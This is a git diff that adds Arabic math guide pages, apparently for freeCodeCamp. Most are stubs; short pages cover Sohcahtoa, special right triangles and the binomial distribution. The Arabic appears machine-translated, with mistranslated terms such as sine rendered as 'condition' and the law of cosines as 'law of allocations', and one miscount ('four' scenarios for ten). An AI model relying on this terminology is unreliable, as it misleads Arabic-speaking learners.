diff --git a/client/src/guide/arabic/mathematics/sohcahtoa/index.md b/client/src/guide/arabic/mathematics/sohcahtoa/index.md
new file mode 100644
index 0000000000..947837cdd9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/sohcahtoa/index.md
@@ -0,0 +1,11 @@
+---
+title: Sohcahtoa
+localeTitle: Sohcahtoa
+---
+## Sohcahtoa
+
+Sohcahtoa هو ذاكري يستخدم للوظائف المثلثية Sine و Cosine و Tangent. Sohcahtoa يقف للشرط = معاكس فوق الوتر ، cosine = متجاوزة فوق الوتر ، و tangent = المقابل على المتاخمة.
+
+#### معلومات اكثر:
+
+[ويكيبيديا](https://en.wikipedia.org/wiki/Trigonometric_functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md b/client/src/guide/arabic/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md
new file mode 100644
index 0000000000..7e981a4f8b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving a System of 3 Equations and 4 Variables Using Matrix Row Echelon Form
+localeTitle: حل نظام مكون من 3 معادلات و 4 متغيرات باستخدام نموذج Matrix Row Echelon
+---
+## حل نظام مكون من 3 معادلات و 4 متغيرات باستخدام نموذج Matrix Row Echelon
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-absolute-value-equations/index.md b/client/src/guide/arabic/mathematics/solving-absolute-value-equations/index.md
new file mode 100644
index 0000000000..ac06397fda
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-absolute-value-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Absolute Value Equations
+localeTitle: حل معادلات القيمة المطلقة
+---
+## حل معادلات القيمة المطلقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-absolute-value-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-exponential-equations-from-the-definition/index.md b/client/src/guide/arabic/mathematics/solving-exponential-equations-from-the-definition/index.md
new file mode 100644
index 0000000000..6326afb923
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-exponential-equations-from-the-definition/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Exponential Equations from the Definition
+localeTitle: حل المعادلات الأسية من التعريف
+---
+## حل المعادلات الأسية من التعريف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-exponential-equations-from-the-definition/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md b/client/src/guide/arabic/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md
new file mode 100644
index 0000000000..130489fcee
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Exponential Equations Using Logarithms Base 2
+localeTitle: حل المعادلات الأسية باستخدام اللوغاريتمات Base 2
+---
+## حل المعادلات الأسية باستخدام اللوغاريتمات Base 2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md b/client/src/guide/arabic/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md
new file mode 100644
index 0000000000..cd23db0e60
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving for a Side with the Law of Cosines
+localeTitle: حل للجانب مع قانون التخصيصات
+---
+## حل للجانب مع قانون التخصيصات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-for-a-side-with-the-law-of-sines/index.md b/client/src/guide/arabic/mathematics/solving-for-a-side-with-the-law-of-sines/index.md
new file mode 100644
index 0000000000..85e6c46a32
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-for-a-side-with-the-law-of-sines/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving for a Side with the Law of Sines
+localeTitle: حل للجانب مع قانون الجيوب
+---
+## حل للجانب مع قانون الجيوب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-for-a-side-with-the-law-of-sines/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-inequalities/index.md b/client/src/guide/arabic/mathematics/solving-inequalities/index.md
new file mode 100644
index 0000000000..b1e6330872
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Inequalities
+localeTitle: حل اللامساواة
+---
+## حل اللامساواة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-inequalities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-linear-equations-one-step-equations/index.md b/client/src/guide/arabic/mathematics/solving-linear-equations-one-step-equations/index.md
new file mode 100644
index 0000000000..f9c158f603
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-linear-equations-one-step-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Linear Equations One Step Equations
+localeTitle: حل المعادلات الخطية خطوة واحدة المعادلات
+---
+## حل المعادلات الخطية خطوة واحدة المعادلات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-linear-equations-one-step-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-log-equations-from-the-definition/index.md b/client/src/guide/arabic/mathematics/solving-log-equations-from-the-definition/index.md
new file mode 100644
index 0000000000..4bd8a7cde9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-log-equations-from-the-definition/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Log Equations from the Definition
+localeTitle: حل معادلات السجل من التعريف
+---
+## حل معادلات السجل من التعريف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-log-equations-from-the-definition/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-log-equations-with-exponentials/index.md b/client/src/guide/arabic/mathematics/solving-log-equations-with-exponentials/index.md
new file mode 100644
index 0000000000..93af46c187
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-log-equations-with-exponentials/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Log Equations with Exponentials
+localeTitle: حل معادلات سجل مع Exponentials
+---
+## حل معادلات سجل مع Exponentials
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-log-equations-with-exponentials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-quadratic-equations-by-factoring/index.md b/client/src/guide/arabic/mathematics/solving-quadratic-equations-by-factoring/index.md
new file mode 100644
index 0000000000..9fc7dc9e52
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-quadratic-equations-by-factoring/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Quadratic Equations by Factoring
+localeTitle: حل المعادلات التربيعية عن طريق التخصيم
+---
+## حل المعادلات التربيعية عن طريق التخصيم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-quadratic-equations-by-factoring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-quadratics-by-factoring/index.md b/client/src/guide/arabic/mathematics/solving-quadratics-by-factoring/index.md
new file mode 100644
index 0000000000..878fb4ef26
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-quadratics-by-factoring/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Quadratics by Factoring
+localeTitle: حل Quadratics عن طريق التخصيم
+---
+## حل Quadratics عن طريق التخصيم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-quadratics-by-factoring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-sas-triangles/index.md b/client/src/guide/arabic/mathematics/solving-sas-triangles/index.md
new file mode 100644
index 0000000000..3a4a53cc86
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-sas-triangles/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Sas Triangles
+localeTitle: حل مثلثات ساس
+---
+## حل مثلثات ساس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-sas-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-systems-of-equations-by-elimination/index.md b/client/src/guide/arabic/mathematics/solving-systems-of-equations-by-elimination/index.md
new file mode 100644
index 0000000000..03ed94b693
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-systems-of-equations-by-elimination/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Systems of Equations by Elimination
+localeTitle: حل المعادلات من خلال القضاء
+---
+## حل المعادلات من خلال القضاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-systems-of-equations-by-elimination/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/solving-triangles/index.md b/client/src/guide/arabic/mathematics/solving-triangles/index.md
new file mode 100644
index 0000000000..bebbf3dbfe
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/solving-triangles/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Triangles
+localeTitle: حل المثلثات
+---
+## حل المثلثات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/span/index.md b/client/src/guide/arabic/mathematics/span/index.md
new file mode 100644
index 0000000000..959ff60076
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/span/index.md
@@ -0,0 +1,11 @@
+---
+title: Span
+localeTitle: امتداد
+---
+## امتداد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/span/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/special-factoring-differences-of-squares/index.md b/client/src/guide/arabic/mathematics/special-factoring-differences-of-squares/index.md
new file mode 100644
index 0000000000..d243d7c248
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/special-factoring-differences-of-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Factoring Differences of Squares
+localeTitle: الاختلافات الخاصة العوملة من الساحات
+---
+## الاختلافات الخاصة العوملة من الساحات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/special-factoring-differences-of-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md b/client/src/guide/arabic/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md
new file mode 100644
index 0000000000..4811d77d72
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Factoring Sums and Differences of Cubes and Perfect Squares
+localeTitle: المبالغ العائمة الخاصة والاختلافات من المكعبات والمربعات الكمال
+---
+## المبالغ العائمة الخاصة والاختلافات من المكعبات والمربعات الكمال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/special-right-triangles-intro/index.md b/client/src/guide/arabic/mathematics/special-right-triangles-intro/index.md
new file mode 100644
index 0000000000..1ca9bc09b4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/special-right-triangles-intro/index.md
@@ -0,0 +1,21 @@
+---
+title: Special Right Triangles Intro
+localeTitle: المثلثات المناسبة الخاصة مقدمة
+---
+## المثلثات المناسبة الخاصة مقدمة
+
+المثلثات اليمنى الخاصة aa مثل المثلث الأيمن حيث تتشارك الزاويتان غير الصحيحتين بعلاقة خاصة.
+
+هناك نوعان من المثلثات الصحيحة الخاصة: a 45-45-90 ، و30-60-90.
+
+## 45-45-90
+
+هذا النوع من المثلث له زاوية واحدة تساوي 90 درجة ، وزاويتين لكل منهما 45 o . هذا يتسبب في أن يكون لجهات المثلث هذه العلاقة الخاصة:
+
+![45-45-90 العلاقات الجانبية](https://github.com/Zoonn123/resources/blob/master/45-45-90hacktoberfestedit.png)
+
+## 30-60-90
+
+هذا النوع من المثلث له زاوية 90 o ، زاوية واحدة 60 o ، وزاوية واحدة 30 o . هذا يتسبب في أن يكون لجهات المثلث هذه العلاقة الخاصة:
+
+![30-60-90 العلاقات الجانبية](https://github.com/Zoonn123/resources/blob/master/30-60-90hacktoberfestedit.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/sphere/index.md b/client/src/guide/arabic/mathematics/sphere/index.md
new file mode 100644
index 0000000000..811522a4eb
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/sphere/index.md
@@ -0,0 +1,11 @@
+---
+title: Sphere
+localeTitle: جسم كروى
+---
+## جسم كروى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sphere/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/spherical-coordinates/index.md b/client/src/guide/arabic/mathematics/spherical-coordinates/index.md
new file mode 100644
index 0000000000..1467b2c392
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/spherical-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Spherical Coordinates
+localeTitle: الإحداثيات الكروية
+---
+## الإحداثيات الكروية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/spherical-coordinates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/squares-and-square-roots/index.md b/client/src/guide/arabic/mathematics/squares-and-square-roots/index.md
new file mode 100644
index 0000000000..8c196a95c4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/squares-and-square-roots/index.md
@@ -0,0 +1,11 @@
+---
+title: Squares and Square Roots
+localeTitle: الساحات والجذور مربع
+---
+## الساحات والجذور مربع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/squares-and-square-roots/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/standard-deviation-and-variance/index.md b/client/src/guide/arabic/mathematics/standard-deviation-and-variance/index.md
new file mode 100644
index 0000000000..86f02ccade
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/standard-deviation-and-variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation and Variance
+localeTitle: الانحراف المعياري والتباين
+---
+## الانحراف المعياري والتباين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation-and-variance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/standard-deviation-formulas/index.md b/client/src/guide/arabic/mathematics/standard-deviation-formulas/index.md
new file mode 100644
index 0000000000..5e01f90fc7
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/standard-deviation-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation Formulas
+localeTitle: صيغ الانحراف المعيارية
+---
+## صيغ الانحراف المعيارية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation-formulas/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/standard-deviation/index.md b/client/src/guide/arabic/mathematics/standard-deviation/index.md
new file mode 100644
index 0000000000..469dbe8ee8
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/standard-deviation/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation
+localeTitle: الانحراف المعياري
+---
+## الانحراف المعياري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/standard-form/index.md b/client/src/guide/arabic/mathematics/standard-form/index.md
new file mode 100644
index 0000000000..9d6bb6a5b6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/standard-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Form
+localeTitle: النموذج القياسي
+---
+## النموذج القياسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-form/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/standard-normal-distribution-table/index.md b/client/src/guide/arabic/mathematics/standard-normal-distribution-table/index.md
new file mode 100644
index 0000000000..14cbf4d782
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/standard-normal-distribution-table/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Normal Distribution Table
+localeTitle: جدول التوزيع الطبيعي القياسي
+---
+## جدول التوزيع الطبيعي القياسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-normal-distribution-table/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/analysis-of-variance/index.md b/client/src/guide/arabic/mathematics/statistics/analysis-of-variance/index.md
new file mode 100644
index 0000000000..24f94ba4c3
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/analysis-of-variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Analysis of Variance
+localeTitle: تحليل التباين
+---
+## تحليل التباين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/analysis-of-variance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/bayes-theorem/index.md b/client/src/guide/arabic/mathematics/statistics/bayes-theorem/index.md
new file mode 100644
index 0000000000..5770808535
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayes Theorem
+localeTitle: مبرهنة بايز
+---
+## مبرهنة بايز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/bayes-theorem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/bayesian-statistics/index.md b/client/src/guide/arabic/mathematics/statistics/bayesian-statistics/index.md
new file mode 100644
index 0000000000..e59767534b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/bayesian-statistics/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayesian Statistics
+localeTitle: إحصائيات بايزي
+---
+## إحصائيات بايزي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/bayesian-statistics/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/binomial-distribution/index.md b/client/src/guide/arabic/mathematics/statistics/binomial-distribution/index.md
new file mode 100644
index 0000000000..7a6cd5d7bf
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/binomial-distribution/index.md
@@ -0,0 +1,62 @@
+---
+title: Binomial Distribution
+localeTitle: توزيع ثنائي
+---
+## توزيع ثنائي
+
+يصف توزيع ذي الحدين احتمال وجود بالضبط `k` النجاحات في `n` التجارب برنولي مستقلة مع احتمال نجاح `p` .
+
+هناك أربعة شروط يجب الوفاء بها قبل أن نتمكن من استخدام توزيع binomail.
+
+1.  المحاكمات مستقلة.
+2.  عدد التجارب ، `n` ، ثابت.
+3.  يمكن تصنيف كل نتيجة محاكمة على أنها نجاح أو فشل.
+4.  احتمال النجاح ، `p` ، هو نفسه لكل تجربة.
+
+### مثال
+
+النظر في تجربة لإلقاء عملة عادلة 10 مرات. دع نتائج "الرؤساء" تكون ناجحة ونتائج "Tails" فشلاً.
+
+1.  نقش عملة واحدة هي تجربة للتجربة وفي كل مرة نرمي عملة معدنية ، تكون النتيجة التي نحصل عليها مستقلة عن نتائج أي تجربة أخرى.
+2.  نحن رمي العملة 10 مرات (قيمة ثابتة من `n` ).
+3.  قررنا اعتبار "الرؤساء" نجاحًا و "ذيول" كفشل.
+4.  احتمال الحصول على رؤوس بعملة عادية هو 0.5 وهذا هو نفسه في كل تجربة.
+
+جميع الشروط الأربعة مقتنعة ، وبالتالي ، يمكننا أن نمذجة هذه التجربة باستخدام التوزيع ذي الحدين.
+
+دعونا نجد احتمالية الحصول على الرؤوس بدقة مرة واحدة ، أي 1 النجاح.
+
+هناك 10 قذف ويمكن لأي واحد أن يؤدي إلى نتيجة رؤساء ، وكل من هذه السيناريوهات العشرة لديه نفس الاحتمال. وبالتالي ، يمكن كتابة الاحتمال النهائي على النحو التالي: `[# Number of Scenarios] x P(single scenario)`
+
+يتمثل المكون الأول في المعادلة أعلاه في عدد الطرق لترتيب النجاحات `k = 1` بين تجارب `n = 10` . المكون الثاني هو احتمال حدوث أي من السيناريوهات الأربعة (ذات الاحتمال المتساوي).
+
+خذ بعين الاعتبار `P(Single Scenario)` تحت الحالة العامة للنجاحات `k` و `n - k` الفشل في `n` التجارب. للعثور على القيمة ، استخدم قاعدة الضرب للأحداث المستقلة:
+
+![](https://i.imgur.com/YXzUPiB.png)
+
+عدد من الطرق للحصول `k` النجاحات من `n` المحاكمات يمكن كتابة كما **ن اختيار ك:**
+
+![](https://i.imgur.com/AQ3P4vi.png)
+
+لذا، فإن الصيغة العامة للحصول على احتمال مراقبة بالضبط `k` النجاحات في `n` محاكمات مستقلة تعطى من قبل:
+
+![](https://i.imgur.com/ZErXKtQ.png)
+
+وبالتالي ، فإن احتمال الحصول على رؤوس واحدة بالضبط في التجارب هو:
+
+![](https://i.imgur.com/fN5wOH2.png)
+
+### يعني والفرق
+
+يُعطى متوسط ​​التوزيع ذي الحدين مع التجارب `n` حيث `p` هو احتمال النجاح من خلال:
+
+![](https://i.imgur.com/4ji7JXx.png)
+
+والتباين:
+
+![](https://i.imgur.com/1tPHKHj.png)
+
+#### معلومات اكثر:
+
+*   [OpenIntro Statistics الإصدار الثالث (الفصل 3 - الصفحة 145)](https://www.openintro.org/stat/textbook.php?stat_book=os)
+*   [اشتقاق المتوسط ​​والفرق للتوزيع ذي الحدين](https://www.youtube.com/watch?v=8fqkQRjcR1M)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/exponential-distribution/index.md b/client/src/guide/arabic/mathematics/statistics/exponential-distribution/index.md
new file mode 100644
index 0000000000..9db156d09e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/exponential-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Distribution
+localeTitle: توزع استثنائى
+---
+## توزع استثنائى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/exponential-distribution/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/statistics/how-to-calculate-percentiles/index.md b/client/src/guide/arabic/mathematics/statistics/how-to-calculate-percentiles/index.md
new file mode 100644
index 0000000000..8d6801a5b5
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/statistics/how-to-calculate-percentiles/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate Percentiles
+localeTitle: كيفية حساب النسب المئوية
+---
+## كيفية حساب النسب المئوية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/how-to-calculate-percentiles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
